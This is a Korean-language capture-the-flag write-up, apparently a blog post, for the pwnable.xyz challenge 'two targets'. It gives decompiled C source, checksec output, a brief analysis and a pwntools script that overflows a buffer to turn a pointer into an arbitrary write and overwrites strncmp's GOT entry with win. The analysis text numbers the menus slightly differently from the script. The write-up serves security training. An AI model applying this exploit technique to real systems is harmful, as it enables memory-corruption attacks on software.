Wargame
[pwnable.xyz] two targets
_daeseong_
2025. 2. 4. 16:32
소스코드
// local variable allocation has failed, the output may be wrong!
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int int32; // eax
char s[32]; // [rsp+10h] [rbp-40h] BYREF
char v5[16]; // [rsp+30h] [rbp-20h] OVERLAPPED BYREF
__int64 v6; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
int32 = read_int32();
if ( int32 != 2 )
break;
printf("nationality: ");
__isoc99_scanf("%24s", v5);
}
if ( int32 > 2 )
{
if ( int32 == 3 )
{
printf("age: ");
__isoc99_scanf("%d", v6);
}
else if ( int32 == 4 )
{
if ( auth(s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( int32 != 1 )
goto LABEL_14;
printf("name: ");
__isoc99_scanf("%32s", s);
}
}
}
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; i <= 0x1F; ++i )
s1[i] = ((*(a1 + i) >> 4) | (16 * *(a1 + i))) ^ *(main + i);
return strncmp(s1, &s2, 0x20uLL) == 0;
}
[*] '/mnt/a/pwnable.xyz/two targets/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
분석
메인함수에서 auth 조건에 맞는 입력값 s를 줘서 플래그를 얻어도 될 거 같지만 1번 메뉴로 BOF로 v6 덮고 2번 메뉴로 AAW가 더 간단해 보여서 AAW로 stcncmp GOT를 win으로 덮어서 플래그를 획득하면 된다.
exp.py
from pwn import *
from time import sleep
#p = process("./challenge")
p = remote("svc.pwnable.xyz",30031)
e = ELF("./challenge")
p.sendlineafter(b"> ",b"2")
p.sendafter(b"nationality: ",b"A"*16+p64(e.got['strncmp']))
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b"age: ",str(e.symbols['win']).encode())
p.sendlineafter(b"> ",b"4")
p.interactive()